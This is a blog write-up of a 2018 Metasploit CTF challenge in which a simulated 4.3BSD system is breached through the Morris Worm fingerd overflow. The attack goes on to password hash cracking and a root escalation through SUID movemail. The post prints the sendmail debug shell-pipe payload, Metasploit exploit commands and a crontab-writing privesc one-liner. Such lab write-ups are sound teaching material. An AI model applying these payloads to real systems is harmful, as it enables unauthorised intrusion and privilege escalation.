Metasploit CTF - 2 of DiamondsPublished December 4, 2018
I had participated in the Metasploit Community CTF this past weekend (Nov 30 - Dec 3, 2018) representing DeadPixelSec. During it, we had two targets to test against: An Ubuntu machine and a Windows machine. In total there were 15 flags that took the form of playing cards, but there was one flag that I took particular interest in: 2 of Diamonds, which took us back all the way to 1986.
This writeup will be a little different than my usual ones. Due to the fact that I no longer have access to the machines now that the CTF is over, some of the steps taken may not be entirely accurate and I do not have exact commands and their responses. With that being said, it is written to the best of my memory and should be more or less accurate nonetheless.
Two of the ports that were reported open were 25 and 79, which are
finger respectively. A simple probe to the
smtp port showed that it was running SendMail, a mail software that was wildly popular a few decades ago. This particular version happens to be SendMail 5.51, which seems suspiciously low of a version.. and in fact, this version of SendMail looks old enough to be vulnerable to a debug mode exploit, the same one used in the infamous Morris Worm! That worm also happened to use a fingerd exploit to spread to new systems, and curiously enough, as of November 6, 2018 the Metasploit team has released not just one, but two new Metasploit modules targeting exactly this. Isn't that convenient?
With the SendMail exploit, after setting debug mode with a
DEBUG command, the
RCPT TO field is set to pipe its data through a shell (
RCPT TO: <"| sed '1,/^$/d' | sh; exit 0">). This means that the email contents itself ends up getting processed in a shell! In the original worm, the shell script would create C source files on the victim, compile it with
cc, and execute it. This compiled C program would in turn download object files from the previous host, figure out if it was currently in a SunOS or a BSD environment, and link the appropriate object files that it previously downloaded to create a file
/usr/tmp/sh &em; a new copy of the worm, cleverly disguised as a normal-looking Bourne shell.
The fingerd exploit, on the other hand, is a classic buffer overflow. The daemon takes in data and places it into a 512-byte buffer, and some time after this buffer is the actual command to be executed,
/usr/ucb/finger. The Morris Worm exploited this fact by overflowing the buffer enough to overwrite the command to be
/bin/sh, causing any data sent to the fingerd service to go instead to
sh! After the worm would get in, it would do the same steps as with the SendMail exploit to compile a copy of itself.
The Metasploit module does this a little differently. Instead of overwriting the command that data gets piped into, it includes an executable payload that is sent within the buffer with a NOP slide, clears the stack frame, and sets the return address to execute this payload.
Exploitation and System Enumeration
With these modules, getting in is as simple as pointing and shooting. Feels a little cheap for my tastes, but it'll make things a little easier on us. We'll load the
fingerd module up, set our target, and fire away. As a bit of a side note, isn't that such a satisfying target IP?
met> use exploit/bsd/finger/morris_fingerd_bof met> set rhost 172.16.43.21 met> set lhost 172.16.43.20 met> show options met> exploit 2od$ PATH=/bin:/usr/bin:/usr/ucb:/etc; export PATH 2od$ id sh: id: command not found 2od$ who am i nobody
Once we're in, we can see that we're running as the user nobody and the command
id is not available to us. This missing command might seem a bit odd at first, but remember that we're dealing with the Morris Worm! This is a VAX system, 4.3BSD to be exact, which puts us in the mid to late 80's. There's a lot of things that are going to seem missing from this system, but that just means that we'll have to adapt to that era.
Right off the bat, we can see in
/etc/passwd that there are a lot of users on this system. About 32 of them listed, 25 of which are actual ordinary users.
2od$ cat /etc/passwd root:*:0:10:Charlie &:/:/bin/csh toor:*:0:10:Bourne-again Superuser:/: daemon:*:1:31:The devil himself:/: operator::2:28:System &:/usr/guest/operator:/bin/csh uucp::66:1:UNIX-to-UNIX Copy:/usr/spool/uucppublic:/usr/lib/uucp/uucico nobody:*:32767:9999:Unprivileged user:/nonexistent:/dev/null notes:*:5:31:Notesfile maintainer:/usr/spool/notes:/bin/csh karels:QOrZFUGpxDUlo:6:10:Mike &:/usr/guest/karels:/bin/csh sam:Yd6H6R7ejeIP2:7:10:& Leffler:/usr/guest/sam:/bin/csh wnj:ZDjXDBwXle2gc:8:10:Bill Joy:/usr/guest/wnj:/bin/csh mckusick:6l7zMyp8dZLZU:201:10:Kirk &:/usr/guest/mckusick:/bin/csh dmr:AiInt5qKdjmHs:10:31:Dennis Ritchie:/usr/guest/dmr: ken:sq5UDrPlKj1nA:11:31:& Thompson:/usr/guest/ken: shannon:NYqgD2jjeuozk:12:31:Bill &:/usr/guest/shannon:/bin/csh peter:y5G5mbEX4HhOY:13:31:peter b. kessler:/usr/guest/peter:/bin/csh kre:vpyVBWM3ARc0.:14:31:Robert Elz:/usr/guest/kre:/bin/csh ingres:64c19dZOElp9I:267:74:& Group:/usr/ingres:/bin/csh ralph:s.EZm/wQTqbro:16:31:& Campbell:/usr/guest/ralph:/bin/csh linton:1/WWIjn5Sd8qM:19:31:Mark &:/usr/guest/linton:/bin/csh sklower:p0taJy06Qye1g:20:31:Keith &:/usr/guest/sklower:/bin/csh eric:PcEfNNJN.UHpM:22:31:& Allman:/usr/guest/eric:/usr/new/csh rrh:lj1vXnxTAPnDc:23:31:Robert R. Henry:/usr/guest/rrh:/bin/csh arnold:5vTJh54EqjZsU:25:31:Kenneth C R C &:/usr/guest/arnold:/bin/csh jkf:G6cip/I8C792U:26:31:John Foderaro:/usr/guest/jkf:/bin/csh ghg:FA/4weg1/wy2c:32:31:George Goble:/usr/guest/ghg:/bin/csh bloom:n0QtVD80F82MM:33:10:Jim &:/usr/guest/bloom:/bin/csh miriam:hnZ1ZK5H2qapE:36:10:& Amos:/usr/guest/miriam:/bin/csh kjd:ogYPQZGnihezk:37:10:Kevin Dunlap:/usr/guest/kjd:/bin/csh rwh:LReNSwE9gQF7w:38:10:Robert W. Henry:/usr/guest/rwh:/bin/csh tef:OciUqGHcs9YOw:39:31:Thomas Ferrin:/usr/guest/tef:/bin/csh van:STpwu/Ggmk78A:40:31:& Jacobson:/usr/guest/van:/bin/csh rich:uxxJaRZvgyiPg:41:31:& Hyde:/usr/guest/rich:/bin/csh jim:.6s.pzMqjyMrU:42:10:& McKie:/usr/guest/jim:/bin/csh donn:5cJ5uHclmVJKA:43:31:& Seeley:/usr/guest/donn:/bin/csh falcon:.MTZpW8TC8tqs:32766:31:Prof. Steven &:/usr/games:/usr/games/wargames hunter:IE4EHKRqf6Wvo:32765:31:Hunter Hedges:/usr/guest/hunter:/bin/sh
We also find a readable email, and by following a trail of recent last-modified timestamps (via
ls -l), we also find an inaccessible user directory
/usr/guest/hunter (the rest of the user directories are all readable), a root-owned DAT file, and that a root-owned game named
adventure was modified very recently.
2od$ cat /usr/spool/mail/hunter From cliff Wed Sep 10 12:34:42 1986 Received: by 2-of-diamonds (5.51/5.17) id AA00579; Wed, 10 Sep 86 12:34:42 PDT Date: Wed, 10 Sep 86 12:34:42 PDT From: cliff (Cliff Stoll) Message-Id: <8610210434.AA00579@2-of-diamonds> To: email@example.com Subject: What do you know about the nesting habits of cuckoos? Status: RO He went looking for your Gnu-Emacs move-mail file.
This is all too telling. The user hunter, the mention of Gnu-Emacs move-mail, and then Cliff Stoll to tie it all together. Cliff Stoll wrote a book by the name of "The Cuckoo's Egg", which detailed his experience dealing with a hacker named Hunter who was wreaking havoc through their networks. That book even contains an epilogue recounting how he helped to deal with the Morris Worm!
As Stoll recounts, Hunter was a hacker who exploited a bug in the Gnu-Emacs move-mail utility, which was installed as SUID root, to gain a root shell by overwriting
atrun with his own malicious copy. Here, we can do similarly by adding an atjob or a cronjob, but we'll actually be able to get by simply using it to copy files around. The only problem we have is that this move-mail program is nowhere to be seen. We can take a guess that this program currently lives in Hunter's directory, so now we just have to gain access to it.
If we look back to the
passwdfile, we see that there are hashes included. And this makes sense; back then, the
passwd file wasn't closely guarded and
shadow wasn't conceived yet. After all, it would have taken much more computational power to crack those hashes. Even better for us, DES hashes can only take a maximum of 8 characters. On a modern system, it would only take a few hours to brute force 8-character alphabetical passwords, but we actually only need 7 characters to get to Hunter's.
Once we have that, we can
su - hunter to get a shell as him. Inside his home directory is exactly what we were hoping for, the infamous root-SUID
movemail. This copy of move-mail actually empties the source file and makes a root-owned copy of it at the destination but with full world-read access, but refuses to overwrite any files that already exist. Now we can use it to move things around to read them, copy them, and inspect them as we wish. Inspecting the DAT file leaves us with no real information. The file just seems like a bunch of garbage with no signature, which leads us to believe that it may actually be encrypted.
Inspecting the game is another story; it's indeed been modified, and a strings dump of the file (back on Kali) contains the word "flag" &em; not something that was included in the original game. Does this mean we have to actually play it to get the flag? Absolutely.
2od$ movemail /usr/games/adventure game 2od$ cp game adventure 2od$ chmod +x adventure 2od$ ./adventure
We're greeted with Colossal Cave Adventure, one of the original text adventures which was released about a year before Zork. To keep this brief, after playing through the game for a bit we discover that by defeating a dragon in the Secret N/E Canyon, we can get the flag item! Capturing it by bringing it back to our home gives us the following message:
Congratulations! You have completed the 2 of Diamonds challenge. The crypt(1) password for 2_of_diamonds.dat is `wyvern'. A large cloud of green smoke appears in front of you. It clears away to reveal a tall wizard, clothed in grey. He fixes you with a steely glare and declares, "this adventure has lasted too long." With that he makes a single pass over you with his hands, and everything around You fades away into a grey nothingness.
The DAT file was encrypted after all, so now that we have the password we can decrypt it. We'll have to do it on the VAX machine though, since it has the utility necessary to do so. Also, since we're in a Meta shell, even though our shell seems basic, we still have special commands that we can use including
download to download files onto our own system.
2od$ crypt wyvern < 2_of_diamonds.dat | pr > 2_of_diamonds.png 2od$ download 2_of_diamonds.png 2_of_diamonds.png
I actually had an interesting time attempting to download files from this system. Since I'm so unfamiliar with it being so old, I wasn't sure what tools or utilities were installed that I could utilise for such a process. I even tried writing and compiling my own tools in an effort to get it going, but they would fail to compile for one reason or the other. I also tried using
cat to pipe a file into a Telnet session aimed at my own system, but since it was binary it kept causing Telnet to mess up. Even if I did send normal ASCII characters though, it seemed that
cat would continue to send junk bytes through indefinitely after EOF. Eventually I found that
od exists on the system, so I used that to convert it to hex. I then wrote up a Python script that would catch the connection, look for a special EOT string that I defined, parse the file, trim extra data out, flip the endianness back to normal, and then convert it back to binary. After that, it was only a matter of
cating the file with a file containing the EOT string and piping it to my system via Telnet.
Soon after that, I finally found out that even basic shells made through Metasploit have commands that can simply be typed in. Typing
help, for instance, prints out all of the commands that I could have used.
As an alternative to this,
uuencode was available on the system and that was apparently the intended method of transfer. One person that I spoke to even did little more than copy the converted string out of their terminal, which is a pretty hilarious solution to a problem that had me stuck for way too long.
There were some really neat things that went behind this challenge, and it would be a shame to not include them here. These are chat messages taken from wvu in the Metasploit Slack, after the competition was all wrapped up:
Since the challenge is based on the Morris worm (1988) for entry and The Cuckoo's Egg (1986) for post-exploitation, the idea is to navigate a foreign (and ancient to us) system as the hacker in the book did
And yes, it's a real 4.3BSD system from 1986, simulated in SIMH, run inside Docker, artifacts scrubbed from
rq.dsk.gzso anyone pwning Docker wouldn't be able to solve the challenge with
gunzip -c rq.dsk.gz | strings;)
Some Easter eggs: the hacker in The Cuckoo's Egg was a stranger to BSD systems, having come from AT&T UNIX
I left some of his commands from the book in
He's also the only user with the shell
At Berkeley at the time, most folks used
hunter's mail spool was also an Easter egg and a hint
Normally [the email's] mode is
700, but it was world-readable on purpose
If you read the book, you'd note that the real Hunter "Hedges" changed all his passwords to one pattern:
I jumped the gun a bit and wrote an exploit for [movemail] and published it halfway through Saturday, hoping some folks would notice it, but I was confident those who were familiar with Unix privesc 101 would be able to get root
movemaildoes a couple things: ensures a usable
umask, doesn't operate on an existing file, and it truncates the input file
An easy privesc is
(umask 0 && /usr/guest/hunter/movemail /dev/null /usr/lib/crontab.local)
It's now a module at [https://github.com/rapid7/metasploit-framework/pull/11049]
1. Use a subshell so you don't change the original
2. Set the
umaskto make the output file world-writable
/dev/nullbecause truncation won't hurt it
4. Target the auxiliary
/usr/lib/crontab.local(doesn't exist by default)
atrun(8)would have been another option. Specifically job files
The hacker in the book targeted the binary - wouldn't recommend :-)
An Easter egg the original BSD developers left is in the MOTD
4.3BSD is actually WarGames-themed!
So it was fitting that the final level was a game
(Did you see the
falcon[sic] user in
Another Easter egg here is that Bob Morris invented
crypt(1), and he had a prominent role in The Cuckoo's Egg
We exploited a
fingerd vulnerability that was utilised by the infamous Morris Worm to get into a 4.3BSD system, then followed in the footsteps of Hunter Hedges, and finished off our journey by traveling through a mystical land to fight a dragon. This has been quite a trip.
Thank you so much to wvu and the rest of the Metasploit Community CTF team for making such a great competition! I'm looking forward to next year's CTF.
A REPORT ON THE INTERNET WORM
The Cuckoo's Egg: Tracking a Spy Through the Maze of Computer Espionage
Morris Worm - sendmail Debug Mode Shell Escape (Metasploit)
Morris Worm - fingerd Stack Buffer Overflow (Metasploit)